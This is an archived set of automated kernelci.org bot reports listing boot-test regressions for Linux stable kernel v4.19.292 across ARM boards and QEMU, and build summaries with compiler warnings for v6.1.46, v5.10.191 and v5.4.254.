* baseline.login: https://kernelci.org/test/case/id/64dd026e69c7a267e935b201
failing since 345 days (last pass: v4.19.230, first fail: v4.19.257)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd02c05aea7f6f2c35b1f9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd02c05aea7f6f2c35b1fa
failing since 383 days (last pass: v4.19.230, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd019a081feaa56d35b1e6
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd019a081feaa56d35b1e7
failing since 345 days (last pass: v4.19.230, first fail: v4.19.257)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd024e82c76121d835b1e1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd024e82c76121d835b1e2
failing since 383 days (last pass: v4.19.230, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd02be77393a343135b250
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd02be77393a343135b251
failing since 345 days (last pass: v4.19.230, first fail: v4.19.257)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd0413553133b89135b1db
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd0413553133b89135b1dc
failing since 383 days (last pass: v4.19.230, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd02260f1f08423035b1e3
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd02260f1f08423035b1e4
failing since 345 days (last pass: v4.19.230, first fail: v4.19.257)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd024f82c76121d835b1e4
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd024f82c76121d835b1e5
failing since 383 days (last pass: v4.19.230, first fail: v4.19.254)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
r8a7796-m3ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd009f27a2faabd135b1d9
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd009f27a2faabd135b1de
failing since 209 days (last pass: v4.19.268, first fail: v4.19.270)
2023-08-16T17:01:42.246506 / # #
2023-08-16T17:01:42.348948 export SHELL=/bin/sh
2023-08-16T17:01:42.349655 #
2023-08-16T17:01:42.451093 / # export SHELL=/bin/sh. /lava-11301248/environment
2023-08-16T17:01:42.451793
2023-08-16T17:01:42.553227 / # . /lava-11301248/environment/lava-11301248/bin/lava-test-runner /lava-11301248/1
2023-08-16T17:01:42.554300
2023-08-16T17:01:42.570559 / # /lava-11301248/bin/lava-test-runner /lava-11301248/1
2023-08-16T17:01:42.620627 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T17:01:42.621193 + cd /lav<8>[ 12.816389] <LAVA_SIGNAL_STARTRUN 1_bootrr 11301248_1.5.2.4.5>
... (10 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
rk3288-veyron-jaq | arm | lab-collabora | gcc-10 | multi_v7_defconfig | 3
Details: https://kernelci.org/test/plan/id/64dcff9c30947fb24635b1d9
Results: 61 PASS, 8 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.dwhdmi-rockchip-driver-cec-present: https://kernelci.org/test/case/id/64dcff9c30947fb24635b1ff
failing since 208 days (last pass: v4.19.269, first fail: v4.19.270)
2023-08-16T16:57:14.789321 BusyBox v1.31.1 (2023-06-23 08:10:20 UTC)<8>[ 10.472760] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=dwhdmi-rockchip-driver-audio-present RESULT=fail>
2023-08-16T16:57:14.791155 multi-call binary.
2023-08-16T16:57:14.791401
2023-08-16T16:57:14.795661 Usage: seq [-w] [-s SEP] [FIRST [INC]] LAST
2023-08-16T16:57:14.795951
2023-08-16T16:57:14.800879 Print numbers from FIRST to LAST, in steps of INC.
* baseline.bootrr.dwhdmi-rockchip-driver-audio-present: https://kernelci.org/test/case/id/64dcff9c30947fb24635b200
failing since 208 days (last pass: v4.19.269, first fail: v4.19.270)
2023-08-16T16:57:14.770338 <8>[ 10.455196] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=dwhdmi-rockchip-probed RESULT=pass>
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dcff9c30947fb24635b21d
failing since 208 days (last pass: v4.19.269, first fail: v4.19.270)
2023-08-16T16:57:10.942374 <8>[ 6.627499] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=emerg RESULT=pass UNITS=lines MEASUREMENT=0>
2023-08-16T16:57:10.951792 + <8>[ 6.639589] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301180_1.5.2.3.1>
2023-08-16T16:57:10.952178 set +x
2023-08-16T16:57:11.058280
2023-08-16T16:57:11.159958 / # #export SHELL=/bin/sh
2023-08-16T16:57:11.160670
2023-08-16T16:57:11.262117 / # export SHELL=/bin/sh. /lava-11301180/environment
2023-08-16T16:57:11.262810
2023-08-16T16:57:11.364217 / # . /lava-11301180/environment/lava-11301180/bin/lava-test-runner /lava-11301180/1
2023-08-16T16:57:11.365368
... (16 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/plan/id/64dd013658cb1f112735b203
Results: 77 PASS, 5 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.rockchip-usb2phy1-probed: https://kernelci.org/test/case/id/64dd013658cb1f112735b209
failing since 152 days (last pass: v4.19.277, first fail: v4.19.278)
2023-08-16T17:03:35.090739 <8>[ 36.264526] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy0-probed RESULT=fail>
2023-08-16T17:03:36.102005 /lava-11301266/1/../bin/lava-test-case
* baseline.bootrr.rockchip-usb2phy0-probed: https://kernelci.org/test/case/id/64dd013658cb1f112735b20a
failing since 152 days (last pass: v4.19.277, first fail: v4.19.278)
2023-08-16T17:03:34.069571
2023-08-16T17:03:35.080780 /lava-11301266/1/../bin/lava-test-case
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
sun50i-a64-pine64-plus | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd00cd6fdf9e8a9e35b22e
Results: 23 PASS, 16 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd00cd6fdf9e8a9e35b253
failing since 210 days (last pass: v4.19.268, first fail: v4.19.270)
2023-08-16T17:00:21.493743 <8>[ 15.980154] <LAVA_SIGNAL_ENDRUN 0_dmesg 57769_1.5.2.4.1>
2023-08-16T17:00:21.600017 / # #
2023-08-16T17:00:21.702673 export SHELL=/bin/sh
2023-08-16T17:00:21.703408 #
2023-08-16T17:00:21.805268 / # export SHELL=/bin/sh. /lava-57769/environment
2023-08-16T17:00:21.805846
2023-08-16T17:00:21.907423 / # . /lava-57769/environment/lava-57769/bin/lava-test-runner /lava-57769/1
2023-08-16T17:00:21.908642
2023-08-16T17:00:21.912516 / # /lava-57769/bin/lava-test-runner /lava-57769/1
2023-08-16T17:00:21.944023 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd00b36fdf9e8a9e35b1dc
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd00b36fdf9e8a9e35b1e1
failing since 210 days (last pass: v4.19.268, first fail: v4.19.270)
2023-08-16T17:01:52.275031 / # #
2023-08-16T17:01:52.377196 export SHELL=/bin/sh
2023-08-16T17:01:52.377968 #
2023-08-16T17:01:52.479388 / # export SHELL=/bin/sh. /lava-11301247/environment
2023-08-16T17:01:52.480154
2023-08-16T17:01:52.581593 / # . /lava-11301247/environment/lava-11301247/bin/lava-test-runner /lava-11301247/1
2023-08-16T17:01:52.582747
2023-08-16T17:01:52.597987 / # /lava-11301247/bin/lava-test-runner /lava-11301247/1
2023-08-16T17:01:52.641434 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T17:01:52.655767 + cd /lava-1130124<8>[ 15.621512] <LAVA_SIGNAL_STARTRUN 1_bootrr 11301247_1.5.2.4.5>
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
zynqmp-zcu102 | arm64 | lab-cip | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd009ff101f2ba4335b20c
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd009ff101f2ba4335b20f
failing since 210 days (last pass: v4.19.268, first fail: v4.19.270)
2023-08-16T17:00:00.322928 + set +x
2023-08-16T17:00:00.324058 <8>[ 3.757642] <LAVA_SIGNAL_ENDRUN 0_dmesg 997953_1.5.2.4.1>
2023-08-16T17:00:00.430376 / # #
2023-08-16T17:00:00.532273 export SHELL=/bin/sh
2023-08-16T17:00:00.532787 #
2023-08-16T17:00:00.634256 / # export SHELL=/bin/sh. /lava-997953/environment
2023-08-16T17:00:00.634730
2023-08-16T17:00:00.736203 / # . /lava-997953/environment/lava-997953/bin/lava-test-runner /lava-997953/1
2023-08-16T17:00:00.737043
2023-08-16T17:00:00.739969 / # /lava-997953/bin/lava-test-runner /lava-997953/1
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+--------+---------------+----------+------------------------------+------------
zynqmp-zcu102 | arm64 | lab-cip | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd02078168b954ba35b1e2
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-4.19.y/v4.19.292/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd02078168b954ba35b1e5
failing since 210 days (last pass: v4.19.268, first fail: v4.19.270)
2023-08-16T17:05:53.514352 + set +x
2023-08-16T17:05:53.515476 <8>[ 3.733823] <LAVA_SIGNAL_ENDRUN 0_dmesg 997958_1.5.2.4.1>
2023-08-16T17:05:53.622884 / # #
2023-08-16T17:05:53.724816 export SHELL=/bin/sh
2023-08-16T17:05:53.725295 #
2023-08-16T17:05:53.826685 / # export SHELL=/bin/sh. /lava-997958/environment
2023-08-16T17:05:53.827166
2023-08-16T17:05:53.928626 / # . /lava-997958/environment/lava-997958/bin/lava-test-runner /lava-997958/1
2023-08-16T17:05:53.929390
2023-08-16T17:05:53.932346 / # /lava-997958/bin/lava-test-runner /lava-997958/1
... (13 line(s) more)
2 years, 4 months
- 1
- 0
stable/linux-6.1.y build: 20 builds: 0 failed, 20 passed, 3 warnings (v6.1.46)
by kernelci.org bot
stable/linux-6.1.y build: 20 builds: 0 failed, 20 passed, 3 warnings (v6.1.46)
Full Build Summary: https://kernelci.org/build/stable/branch/linux-6.1.y/kernel/v6.1.46/
Tree: stable
Branch: linux-6.1.y
Git Describe: v6.1.46
Git Commit: 6c44e13dc284f7f4db17706ca48fd016d6b3d49a
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
x86_64:
x86_64_defconfig (gcc-10): 1 warning
x86_64_defconfig+x86-chromebook (gcc-10): 1 warning
Warnings summary:
2 arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
1 arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/mips/boot/dts/img/boston.dts:128.19-178.5: Warning (pci_device_reg): /pci@14000000/pci2_root@0,0,0: PCI unit address format error, expected "0,0"
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_sdcard_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable/linux-5.10.y build: 19 builds: 0 failed, 19 passed, 7 warnings (v5.10.191)
by kernelci.org bot
stable/linux-5.10.y build: 19 builds: 0 failed, 19 passed, 7 warnings (v5.10.191)
Full Build Summary: https://kernelci.org/build/stable/branch/linux-5.10.y/kernel/v5.10.191/
Tree: stable
Branch: linux-5.10.y
Git Describe: v5.10.191
Git Commit: da742ebfa00c3add4a358dd79ec92161c07e1435
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
arm:
i386:
mips:
32r2el_defconfig (gcc-10): 1 warning
riscv:
rv32_defconfig (gcc-10): 4 warnings
x86_64:
x86_64_defconfig (gcc-10): 1 warning
x86_64_defconfig+x86-chromebook (gcc-10): 1 warning
Warnings summary:
2 arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
2 <stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
2 <stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
1 WARNING: modpost: Symbol info of vmlinux is missing. Unresolved symbol check will be entirely skipped.
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
WARNING: modpost: Symbol info of vmlinux is missing. Unresolved symbol check will be entirely skipped.
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
nommu_k210_defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
rv32_defconfig (riscv, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
<stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
<stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
<stdin>:830:2: warning: #warning syscall fstat64 not implemented [-Wcpp]
<stdin>:1127:2: warning: #warning syscall fstatat64 not implemented [-Wcpp]
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 1 warning, 0 section mismatches
Warnings:
arch/x86/lib/retpoline.o: warning: objtool: .altinstr_replacement: unexpected end of section
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
stable/linux-5.4.y build: 17 builds: 0 failed, 17 passed, 26 warnings (v5.4.254)
by kernelci.org bot
stable/linux-5.4.y build: 17 builds: 0 failed, 17 passed, 26 warnings (v5.4.254)
Full Build Summary: https://kernelci.org/build/stable/branch/linux-5.4.y/kernel/v5.4.254/
Tree: stable
Branch: linux-5.4.y
Git Describe: v5.4.254
Git Commit: fd2a1d1f32ea37c57a8b46a0857f06fd7274dd2c
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
Built: 7 unique architectures
Warnings Detected:
arc:
arm64:
defconfig (gcc-10): 2 warnings
defconfig+arm64-chromebook (gcc-10): 2 warnings
arm:
i386:
allnoconfig (gcc-10): 2 warnings
i386_defconfig (gcc-10): 2 warnings
tinyconfig (gcc-10): 2 warnings
mips:
riscv:
x86_64:
allnoconfig (gcc-10): 4 warnings
tinyconfig (gcc-10): 4 warnings
x86_64_defconfig (gcc-10): 4 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 4 warnings
Warnings summary:
7 ld: warning: creating DT_TEXTREL in a PIE
4 ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
4 arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
3 ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
2 arch/x86/entry/entry_64.o: warning: objtool: If this is a retpoline, please patch it in with alternatives and annotate it with ANNOTATE_NOSPEC_ALTERNATIVE.
2 arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x1c1: unsupported intra-function call
2 arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x151: unsupported intra-function call
2 arch/x86/entry/entry_64.S:1756: Warning: no instruction mnemonic suffix given and no register operands; using default for `sysret'
Section mismatches summary:
1 WARNING: vmlinux.o(___ksymtab_gpl+vic_init_cascaded+0x0): Section mismatch in reference from the variable __ksymtab_vic_init_cascaded to the function .init.text:vic_init_cascaded()
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 4 warnings, 0 section mismatches
Warnings:
arch/x86/entry/entry_64.S:1756: Warning: no instruction mnemonic suffix given and no register operands; using default for `sysret'
arch/x86/entry/entry_64.o: warning: objtool: .entry.text+0x151: unsupported intra-function call
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
arch/arm64/include/asm/memory.h:238:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
